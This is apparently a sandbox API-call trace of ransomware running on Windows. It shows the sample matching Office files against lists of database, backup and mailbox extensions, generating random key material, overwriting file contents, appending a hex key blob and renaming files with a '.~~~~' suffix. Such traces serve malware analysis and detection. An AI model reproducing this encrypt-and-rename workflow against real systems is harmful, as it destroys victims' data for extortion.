	[0145.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".ndf") returned 0x0
	[0145.664] lstrlenW (lpString=".DB") returned 3
	[0145.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".DB") returned 0x0
	[0145.664] lstrlenW (lpString=".sql") returned 4
	[0145.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".sql") returned 0x0
	[0145.664] lstrlenW (lpString=".MYD") returned 4
	[0145.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".MYD") returned 0x0
	[0145.664] lstrlenW (lpString=".DBT") returned 4
	[0145.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".DBT") returned 0x0
	[0145.664] lstrlenW (lpString=".ACCDB") returned 6
	[0145.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".ACCDB") returned 0x0
	[0145.664] lstrlenW (lpString=".fdb") returned 4
	[0145.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".fdb") returned 0x0
	[0145.664] lstrlenW (lpString=".bak") returned 4
	[0145.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".bak") returned 0x0
	[0145.664] lstrlenW (lpString=".myd") returned 4
	[0145.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".myd") returned 0x0
	[0145.664] lstrlenW (lpString=".DTXS") returned 5
	[0145.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".DTXS") returned 0x0
	[0145.664] lstrlenW (lpString=".ckp") returned 4
	[0145.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".ckp") returned 0x0
	[0145.664] lstrlenW (lpString=".dbt") returned 4
	[0145.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".dbt") returned 0x0
	[0145.664] lstrlenW (lpString=".db") returned 3
	[0145.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".db") returned 0x0
	[0145.664] lstrlenW (lpString=".TXT") returned 4
	[0145.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".TXT") returned 0x0
	[0145.664] lstrlenW (lpString=".MDF") returned 4
	[0145.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".MDF") returned 0x0
	[0145.665] lstrlenW (lpString=".bdb") returned 4
	[0145.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".bdb") returned 0x0
	[0145.665] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.665] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395da0) returned 1
	[0145.666] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.666] CryptReleaseContext (hProv=0x395da0, dwFlags=0x0) returned 1
	[0145.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.667] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26565685783) returned 1
	[0145.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc03bc2b0, dwHighDateTime=0x1d60e1e)) 
	[0145.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380200
	[0145.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380200 | out: hHeap=0x300000) returned 1
	[0145.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0145.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37efa0
	[0145.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.667] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0145.668] GetLastError () returned 0x0
	[0145.668] GetLastError () returned 0x0
	[0145.668] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0145.668] GetLastError () returned 0x0
	[0145.668] GetLastError () returned 0x0
	[0145.668] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x10b88, lpOverlapped=0x0) returned 1
	[0145.671] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffef478, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.671] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x10b88, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x10b88, lpOverlapped=0x0) returned 1
	[0145.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.671] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.671] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.672] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.672] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.672] CloseHandle (hObject=0x138) returned 1
	[0145.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37efa0
	[0145.672] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl.~~~~")) returned 1
	[0145.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37efa0 | out: hHeap=0x300000) returned 1
	[0145.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.674] GetLastError () returned 0x0
	[0145.675] RtlWakeConditionVariable () returned 0x0
	[0145.675] GetCurrentThreadId () returned 0x9f4
	[0145.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".scr") returned 0x0
	[0145.675] lstrlenW (lpString=".cmd") returned 4
	[0145.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".cmd") returned 0x0
	[0145.675] lstrlenW (lpString=".dll") returned 4
	[0145.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".dll") returned 0x0
	[0145.675] lstrlenW (lpString=".bat") returned 4
	[0145.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".bat") returned 0x0
	[0145.675] lstrlenW (lpString=".cpl") returned 4
	[0145.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".cpl") returned 0x0
	[0145.675] lstrlenW (lpString=".sys") returned 4
	[0145.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".sys") returned 0x0
	[0145.675] lstrlenW (lpString=".msc") returned 4
	[0145.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".msc") returned 0x0
	[0145.675] lstrlenW (lpString=".com") returned 4
	[0145.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".com") returned 0x0
	[0145.675] lstrlenW (lpString=".lnk") returned 4
	[0145.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".lnk") returned 0x0
	[0145.675] lstrlenW (lpString=".msp") returned 4
	[0145.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".msp") returned 0x0
	[0145.675] lstrlenW (lpString=".pif") returned 4
	[0145.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".pif") returned 0x0
	[0145.675] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch="msp\r\n.pif") returned 0x0
	[0145.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0145.678] lstrlenW (lpString=".sqb") returned 4
	[0145.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".sqb") returned 0x0
	[0145.678] lstrlenW (lpString=".ost") returned 4
	[0145.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".ost") returned 0x0
	[0145.678] lstrlenW (lpString=".txt") returned 4
	[0145.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".txt") returned 0x0
	[0145.678] lstrlenW (lpString=".mdt") returned 4
	[0145.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".mdt") returned 0x0
	[0145.678] lstrlenW (lpString=".BDB") returned 4
	[0145.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".BDB") returned 0x0
	[0145.678] lstrlenW (lpString=".eql") returned 4
	[0145.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".eql") returned 0x0
	[0145.678] lstrlenW (lpString=".DBF") returned 4
	[0145.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".DBF") returned 0x0
	[0145.678] lstrlenW (lpString=".EQL") returned 4
	[0145.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".EQL") returned 0x0
	[0145.678] lstrlenW (lpString=".FDB") returned 4
	[0145.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".FDB") returned 0x0
	[0145.678] lstrlenW (lpString=".EDB") returned 4
	[0145.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".EDB") returned 0x0
	[0145.678] lstrlenW (lpString=".DACPAC") returned 7
	[0145.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".DACPAC") returned 0x0
	[0145.678] lstrlenW (lpString=".VHD") returned 4
	[0145.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".VHD") returned 0x0
	[0145.678] lstrlenW (lpString=".DBV") returned 4
	[0145.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".DBV") returned 0x0
	[0145.678] lstrlenW (lpString=".dacpac") returned 7
	[0145.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".dacpac") returned 0x0
	[0145.679] lstrlenW (lpString=".sdf") returned 4
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".sdf") returned 0x0
	[0145.679] lstrlenW (lpString=".accdb") returned 6
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".accdb") returned 0x0
	[0145.679] lstrlenW (lpString=".DBX") returned 4
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".DBX") returned 0x0
	[0145.679] lstrlenW (lpString=".MDT") returned 4
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".MDT") returned 0x0
	[0145.679] lstrlenW (lpString=".SQB") returned 4
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".SQB") returned 0x0
	[0145.679] lstrlenW (lpString=".vhd") returned 4
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".vhd") returned 0x0
	[0145.679] lstrlenW (lpString=".bac") returned 4
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".bac") returned 0x0
	[0145.679] lstrlenW (lpString=".mdf") returned 4
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".mdf") returned 0x0
	[0145.679] lstrlenW (lpString=".BAK") returned 4
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".BAK") returned 0x0
	[0145.679] lstrlenW (lpString=".BAC") returned 4
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".BAC") returned 0x0
	[0145.679] lstrlenW (lpString=".dbs") returned 4
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".dbs") returned 0x0
	[0145.679] lstrlenW (lpString=".vhdx") returned 5
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".vhdx") returned 0x0
	[0145.679] lstrlenW (lpString=".NDF") returned 4
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".NDF") returned 0x0
	[0145.679] lstrlenW (lpString=".dat") returned 4
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".dat") returned 0x0
	[0145.679] lstrlenW (lpString=".DBS") returned 4
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".DBS") returned 0x0
	[0145.679] lstrlenW (lpString=".CKP") returned 4
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".CKP") returned 0x0
	[0145.679] lstrlenW (lpString=".edb") returned 4
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".edb") returned 0x0
	[0145.679] lstrlenW (lpString=".PST") returned 4
	[0145.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".PST") returned 0x0
	[0145.680] lstrlenW (lpString=".dbf") returned 4
	[0145.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".dbf") returned 0x0
	[0145.680] lstrlenW (lpString=".SQL") returned 4
	[0145.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".SQL") returned 0x0
	[0145.680] lstrlenW (lpString=".pst") returned 4
	[0145.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".pst") returned 0x0
	[0145.680] lstrlenW (lpString=".dbv") returned 4
	[0145.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".dbv") returned 0x0
	[0145.680] lstrlenW (lpString=".SDF") returned 4
	[0145.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".SDF") returned 0x0
	[0145.680] lstrlenW (lpString=".dtxs") returned 5
	[0145.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".dtxs") returned 0x0
	[0145.680] lstrlenW (lpString=".db3") returned 4
	[0145.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".db3") returned 0x0
	[0145.680] lstrlenW (lpString=".OST") returned 4
	[0145.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".OST") returned 0x0
	[0145.680] lstrlenW (lpString=".dbx") returned 4
	[0145.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".dbx") returned 0x0
	[0145.680] lstrlenW (lpString=".DB3") returned 4
	[0145.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".DB3") returned 0x0
	[0145.680] lstrlenW (lpString=".DAT") returned 4
	[0145.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".DAT") returned 0x0
	[0145.680] lstrlenW (lpString=".VHDX") returned 5
	[0145.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".VHDX") returned 0x0
	[0145.680] lstrlenW (lpString=".ndf") returned 4
	[0145.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".ndf") returned 0x0
	[0145.680] lstrlenW (lpString=".DB") returned 3
	[0145.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".DB") returned 0x0
	[0145.681] lstrlenW (lpString=".sql") returned 4
	[0145.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".sql") returned 0x0
	[0145.681] lstrlenW (lpString=".MYD") returned 4
	[0145.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".MYD") returned 0x0
	[0145.681] lstrlenW (lpString=".DBT") returned 4
	[0145.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".DBT") returned 0x0
	[0145.681] lstrlenW (lpString=".ACCDB") returned 6
	[0145.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".ACCDB") returned 0x0
	[0145.681] lstrlenW (lpString=".fdb") returned 4
	[0145.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".fdb") returned 0x0
	[0145.728] lstrlenW (lpString=".bak") returned 4
	[0145.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".bak") returned 0x0
	[0145.730] lstrlenW (lpString=".myd") returned 4
	[0145.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".myd") returned 0x0
	[0145.730] lstrlenW (lpString=".DTXS") returned 5
	[0145.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".DTXS") returned 0x0
	[0145.730] lstrlenW (lpString=".ckp") returned 4
	[0145.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".ckp") returned 0x0
	[0145.731] lstrlenW (lpString=".dbt") returned 4
	[0145.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".dbt") returned 0x0
	[0145.731] lstrlenW (lpString=".db") returned 3
	[0145.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".db") returned 0x0
	[0145.731] lstrlenW (lpString=".TXT") returned 4
	[0145.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".TXT") returned 0x0
	[0145.731] lstrlenW (lpString=".MDF") returned 4
	[0145.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".MDF") returned 0x0
	[0145.731] lstrlenW (lpString=".bdb") returned 4
	[0145.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".bdb") returned 0x0
	[0145.731] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0145.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.731] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3956b8) returned 1
	[0145.732] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.732] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0145.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0145.732] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26572246212) returned 1
	[0145.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc0454830, dwHighDateTime=0x1d60e1e)) 
	[0145.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0145.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
